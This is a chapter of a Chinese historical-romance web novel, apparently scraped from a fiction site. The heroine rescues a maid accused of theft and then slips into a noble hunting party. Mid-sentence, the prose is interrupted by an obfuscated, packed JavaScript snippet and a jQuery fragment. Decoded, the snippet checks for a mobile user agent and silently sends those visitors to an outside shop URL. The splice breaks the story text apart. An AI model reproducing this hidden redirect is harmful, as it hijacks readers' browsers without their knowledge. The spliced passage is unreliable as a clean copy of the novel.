文趣网 > 其他小说 > 欺骗阴湿世子后 > 5. 救人
    就在崔宝缘身形不稳,即将落入水中时,女人迅速反应,伸出手将人紧紧拉住,凭着臂力将崔宝缘拉扯上来。

    萍嬷嬷忙上前扶住崔宝缘。

    崔宝缘站稳后,抬眸看向拉着她的女子,她浑身透血,布满鞭痕,似乎受了重刑。

    崔宝缘正要道谢,身后忽地传来几道声响。

    “人,人在那!”

    “给我抓住她!”

    女人一听,急忙转身奔逃,刚逃到桥下,便被人狠狠一鞭子猛抽后背。

    几名腰阔腿粗家丁装扮的人围上前擒住女子双臂,将她重重压倒在地,接着用绳索牢牢捆住她的手腕。

    “死丫头,跑得倒挺快呀!”

    为首者执着鞭子,一上来又狠抽一鞭,随后强脱着女人往外围走去,丝毫不顾女人的反抗,任由她双腿挣扎。

    “慢着。”

    崔宝缘走下桥,指着女孩说:“她撞了我就想走?”

    为首者恶狠狠地挖了女人一眼,开口道。

    “娘子莫怪,这丫鬟偷了府里东西,主家叫我捉她去发卖了。”

    “是你!是你诬蔑我!”

    女人撕心裂肺地叫喊,挣扎的动作愈发剧烈,泪珠直接被甩出眼眶。

    “还敢狡辩,我看你是不想活了!”

    男人猛地啐了一口,高高举起粗粝黝黑的手掌,下一瞬便要打在女人脸上。

    崔宝缘立即扬声叫停他,大步一跨,身子挡在女人跟前,沉声道:“她,我买下了,包括所失财物,皆有我一应承担。”

    男子一听,当即收回手掌,嘴角咧开大笑,“好!甚好!”

    “我没有偷钱!”女子摇头争辩。

    “闭嘴!像你这种手脚不干净的丫鬟,有主子愿意收你就已经烧高香了。”

    男子出声打断她,连忙掏出怀里揣着的身契,暗自催促道。

    “娘子心善。”

    崔宝缘取出所需银两给他,男子笑容满面地细细数着,确认刚好五十两后,他瞟了一眼地上的女人,得意洋洋地带着人走了。

    “娘子,你相信奴婢,奴婢真的没有偷钱!”

    女人依旧不停摇头,双眼通红地看着崔宝缘。

    崔宝缘轻叹一口气,缓缓蹲下身子,伸手为女人解开绳索。

    “我知你并非恶人,心思也很是单纯,可你如今拿不出证据来证明自己清白,这么与他争论下去又有何意义?”

    女人一听,登时无力反驳地垂下脑袋,神情怅然不甘。

    “但你也不能就这么平白被他欺负了,”崔宝缘轻轻眯眼,仔细打量眼前着女子,随后若有所思地点点头,“我瞧着你身手不错,应是有些功夫傍身吧。”

    女人站在原地,怔怔点头。

    “既如此,那我便给你三天时间,这三天里你要摸清楚他的路线,趁他落单之时寻找下手机会。再后面的你也不用我多说,想必自己最清楚怎样才能出掉这口恶气。”

    女人呆呆瞪着双眼,望向崔宝缘的眸子里带着几分震惊,这位娘子和她想得似乎不太一眼。

    说话温温柔柔,做事却甚是果断狠辣。

    像一位女侠。

    绳索解开落地,崔宝缘扶着她摇摇晃晃地站起身,等人站直后,她轻轻扫了一眼她手腕上的红印。

    “你叫什么名字?”

    “奴婢名唤月莲。”

    “可有本名?”

    女人一顿,随后开口:“家人唤我香竹。”

    “好,”崔宝缘转身看向萍嬷嬷,“萍嬷嬷,剩下的碎银都给香竹。”

    萍嬷嬷应声走上前,将钱袋子塞在香竹手上。

    “这……”

    香竹有些不知所措,

    “前面有一家客栈,你带着这些钱去那里住着,顺便找个大夫看看你的伤,三日后我自会来寻你。”

    香竹听后重重点了点头,“我一定会乖乖等着娘子来的!”

    随后便一瘸一拐地往客栈方向去,走时还不忘连连回头望着崔宝缘。

    崔宝缘亦注眸看着她,心中暗自思忖。

    此时某地某处,定有宋语舒的人在暗中监视着自己一举一动。

    她与萍嬷嬷为一体,需严密伺察。但香竹却不一样,在她们这些人眼里,不过是个后来花钱买的女婢。

    没那么需要重视。

    崔宝缘转眸望向萍嬷嬷,低声道:“嬷嬷,我们走吧。”

    然而待她们走远,身后小摊缓缓走去一女子。

    女子身穿嫩桃色齐胸襦裙,精致不凡,她看着崔宝缘二人离开的方向,口中喃喃道。

    “这位小娘子倒是又美又心善,就是不知道她是否看得上兄长?”

    *

    晟王府。

    “郎君!”

    梁羡英一下马,便看见一名身穿青灰色窄袖短衣,略微有些清瘦的男子,垂着手走上前。

    朝着梁羡英拱手行礼,嘴角敛着笑,“郎君,王爷知晓您在襄州遇到契丹人行刺,特叫您回府后立马去书房见他。”

    梁羡英点了点头,但身子仍站在原地,终究按捺不住心绪,追问道:“母亲可曾知晓我负伤一事?”

    俭德颔首,“夫人是知晓的。”

    “那母亲可有说什么?”梁羡英急切问道。

    俭德看着自家郎君隐隐期盼地眼神,一时不知如何是好。

    “夫人她……什么都没说。”

    梁羡英神色一黯,心底泛起一丝怅然,她连我的死活也不在意了吗?

    “想必是夫人相信咱们郎君武艺卓绝,机智过人,定能逢凶化吉,这才什么都没说,其实夫人心里还是在意郎君的。”俭德悻悻说道。

    “我知道了。”梁羡英淡淡应了声,抬脚快步朝府内走去。

    俭德和积善对视一眼,随后紧紧跟上。

    傍晚。

    崔宝缘二人回到孟府。

    她款步走进房内,径直来到胡桃木色的桌案前,只见案上摆着一只黑漆长匣。

    她故意留这么个匣子摆在这,丝毫不担心会被宋语舒的人盗走。

    只因这个匣子不过是收录了长安各家贵女郎君的画像罢了,非宋语舒想要的把柄。

    崔宝缘心中十分懂得自己说什么不重要,重要的是要让宋语舒亲眼所见,深信自己来长安的目的。

    就是为了借孟府的势改嫁高门。

    思索着,崔宝缘垂下头打开画卷,指甲在上面快速翻阅着。

    下一瞬,那一只莹白细指倏地停在某一页上端。

    是一个女子的画像。

    崔宝缘想起白天与香竹分别时,女孩连连地回头,眼神并非含带不舍,而是暗暗指向某一处。

    示意那边有人正在偷看。

    然而,崔宝缘l表面假意离开,实则躲在暗处偷偷观察。

    只见摊位后缓缓走出一个人,首饰衣衫皆贵气精致,和此时她手上这页人物画像,一般无二。

    昌阳侯之女,澹西昭

    昌阳侯以及其侯夫人属于朝廷新贵,靠军功一刀一枪闯出来的,是少见的性情

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17887180|212589||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    中人,没有世家大族常有的门第之分。

    据说昌阳侯夫妇常年带子出征,独留一女随老母照料,缺席女儿童年,心中满怀愧疚,因此,夫妇二人回府后便对其百般呵护,养得其心性率真开朗。

    崔宝缘回想起当时,自己离那个小摊间是有些距离的,她应该没有听见她和萍嬷嬷间的谈话。

    而且看样子,似乎对崔宝缘并无恶意,甚至有几分她说不上来的兴趣。

    有些奇怪,但不枉是件好事。

    她记得参与世家游猎会的人中,便有澹小娘子。

    如今,她被宋氏紧紧盯着,无法打探阿兄的消息,若是自己能和澹小娘子交好,攀得关系,说不定能够借她的门路,寻机进入慈恩寺。

    甚至查清真相。

    崔宝缘慢慢收拢画卷,俯身放入匣子内,再抬头时,她眉眼弯弯,唇角扬笑。

    只要钱够多,便一切好办。

    接下来,她花重金寻上一随行侍女,代替身份混进队伍,并另外买通其他几名侍从打掩护,替她遮掩。一旦守卫盘问,一众被收买之人便纷纷开口帮腔,说是原先侍女生病,请她代为上山,好不受主家责罚。

    世家举行围场游猎已有数次,往常皆平稳无事,因此守卫们渐渐放松了戒备,只随口盘问了两三句,便放人通行。

    更何况单人撒谎容易露馅,一群人作证便很难被拆穿。

    崔宝缘顺利进入后,装模做样地站了半个时辰。见时间差不多了,这才掀开营帐悄悄走出来。

    结果万万没想到,她刚走出营帐没几步,就被人倏地叫住。

    “哎,你过来!”

    闻言,她止步看去,是个男子,相貌寻常,身穿云纹圆领锦袍,腰间悬玉,手上拿着个紫檀木匣子,只需一眼便可看出他家境颇为殷实。

    贺方文。

    当初慈恩寺为难阿兄的人。

    自己正要去“偶遇”他呢。

    崔宝缘面不改色,垂手敛身,缓缓走至他身前。

    “贺郎君。”

    “你把此物交予昌阳侯之女澹西昭,就说是贺家二郎君偶然所得,此好物唯有她这般绝色才配得上,并约她明日此时长乐楼二楼相见。”他大声说道。

    崔宝缘颔首,抬脚欲往宾客区走去。

    “等等。”

    贺方文再次叫住她。

    就在崔宝缘惊疑不解时,只见他眼神轻蔑,下巴抬着老高,伸出指头,直直指向崔宝缘。

    “记住,一定要说是贺家二郎君所赠,若是忘了,某饶不了你!”

    “是。”崔宝缘点点头,她会说是贺家二郎君的。

    “行了,赶紧走!”贺方文沉声催促着她,似乎与她这个低微下人多待一息,都是对自己身份的不尊。

    崔宝缘也十分听话,端着匣子便往前走。

    此时日头正中,烈阳高照。

    狩猎显然已至最热闹之时,密林深处时不时传来阵阵飞鸟受惊声。

    如今留在宾客区的,仅有各家小娘子和一些年纪尚轻无法上场的小郎君。

    她们大都在各自聊天,无一人注意到崔宝缘。

    她一步不停抬脚入席,略微扫了眼,便快速看准人。

    澹西昭正坐在圆椅上,指尖轻托着青瓷茶盏,唇瓣微抿,思绪却早已飘远,对周身动静一概未曾留意。

    崔宝缘绕至女孩侧旁,出声唤了句,“小娘子。”

    “啊?”澹西昭缓过神,茫然转头回看。待看清来人面容的刹那,瞳孔骤然一缩,是她!